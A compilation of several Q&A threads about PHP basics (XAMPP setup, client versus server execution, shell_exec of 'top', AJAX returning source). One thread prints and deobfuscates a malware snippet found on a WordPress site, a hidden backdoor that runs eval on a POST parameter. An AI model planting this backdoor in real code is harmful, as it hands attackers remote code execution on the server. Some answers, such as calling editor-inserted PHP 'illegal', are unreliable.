This question already has answers here:
PHP code is not being executed, but the code shows in the browser source code
(35 answers)
Closed 4 years ago.
How to input data using php?
I already created code to input data from <form></form> html to mysql using external php, but when I try to run it, it looks like this:
The first thing to understand, php codes do not execute by your browser, it is executed on your server, so the first thing you need is a server.
By looking at your URL, I can see you are using XAMPP.
Replacing everything before Resolusi2018 by just localhost would do the job.
Put your files into the root directory then access your page by entering
localhost/Resolusi2018/root/php/ngetes.php in your browser.
Ok, so I think your URL is just wrong.
You are opening the file directly, and not from the localhost.
Try something like this:
localhost/Resolusi2018/root/php/mgetes.php
If this is also not working, check if your XAMPP is actually running.
Related
This question already has answers here:
How do I execute PHP that is stored in a MySQL database?
(7 answers)
Closed 28 days ago.
I have written a text through the editor and put a php code in the editor to be displayed in the post.
But the php code does not run on the site! And I get this message:
What should be done to solve the problem and how should the code be executed?
This system is not WordPress and is a proprietary CMS
I published the code through the database, but it still shows inside <!——>
what you are trying to do is illegal, PHP code cannot be inserted through the browser editor, PHP code is usually code hidden from the eyes of the surfers, whether it is a function or not.
The only way to insert PHP code is to go into the site's files in the area you want to insert and simply edit it from the file, usually its ending will be .php if it is a CRM system then its code is built in the form of JS or Python and if it is built on PHP then just go into the system and insert the code
<?php echo 'Hello world'; ?>
This question already has an answer here:
What Does This PHP Code Do? [closed]
(1 answer)
Closed 7 years ago.
I have a wordpress site and it was infected with malware I think. I have found this bit of php code in my files
$qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}['q140b2c'])){eval(${$s20}['q140b2c']);}
What does it do?
$qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);
$s20 evaluates to _POST
if(isset(${$s20}['q140b2c'])){
eval(${$s20}['q140b2c']);
}
becomes
isset($_POST['q140b2c'])
eval then evaluates whatever is in that post
eval($_POST['q140b2c']);
I face same issue with one of my previous website hack. Same code as above. They are going to put code this code in .php file before start of PHP tag.
So it will hold the execution of PHP site.
To solve download all code & search in file & remove. Then your site works ok.
This question already has answers here:
What is the difference between client-side and server-side programming?
(3 answers)
Closed 8 years ago.
I have a page with a java script that adds a row to a table. On the same page there is a PHP script that should read the table and add it to the database. How do I read the table using PHP ?
What you're thinking of will not directly work.
A Javascript script is executed on the client side only, whereas a PHP is executed on the server side only, and before the datas are sent to the client.
PHP can not directly read the table.
What you can do is use AJAX to send the data from the user's browser to a PHP script that'll use them.
You'll find more infos here.
PHP is serverside programing, the PHP code serves data to the client - PHP can't read from the client.
If you add a row using javascript, PHP has no way of getting that info.
You'll need to use Ajax to solve your specific problem.
You cannot "read the table" with PHP. You will have to send the data of the table to the server (and read it with PHP) using JavaScript or CGI.
A well-known technique to do this is called Ajax.
This question already has answers here:
Why doesn't exec("top"); work on Linux?
(5 answers)
Closed 9 years ago.
Is it possible to display the commands like 'top' on webpage using php?
<?php
echo shell_exec('top');
?>
maybe this:
<?php
$output = null;
exec('top -n 1', $output);
var_dump($output);
?>
If I understand your question correctly, you're trying to get an interactive program showing on the client with live updates. This is not possible as you've demonstrated.
It seems you may not understand what's going on with PHP. PHP runs on the server before the page is downloaded by the client. The client then gets a 'snapshot' of the page as the server rendered it. Once the page is loaded on the user's machine, the server cannot touch the page.
To get interactive content, you have a few options (from least desirable and easiest to most desirable and most involved):
refresh the page
make periodic requests for updates (AJAX)
have the server push down changes (COMET, WebSockets)
Another problem is that interactive commands like top use a bunch of terminal-specific (refresh the terminal, rewrite bits of text, etc.) that will mess up the output in the browser. You'll need to do something like #David said and get a snapshot of the output and get that to the user periodically (choose one from above).
There are lots of libraries and tutorials for PHP available for whichever route you choose.
This question already has answers here:
PHP code is not being executed, but the code shows in the browser source code
(35 answers)
Closed 6 years ago.
Is there any way to prevent jQuery AJAX retreiving a complete PHP file instead of its server output ?
I just tried to obtain text only output, expecting what ever php decides to return, but got the whole file.
Not ideal if as on some files it would reveal potential hacking targets such as database tables etc
The host was not allowing config of private files, the solution was to move provider and place php above the root directory.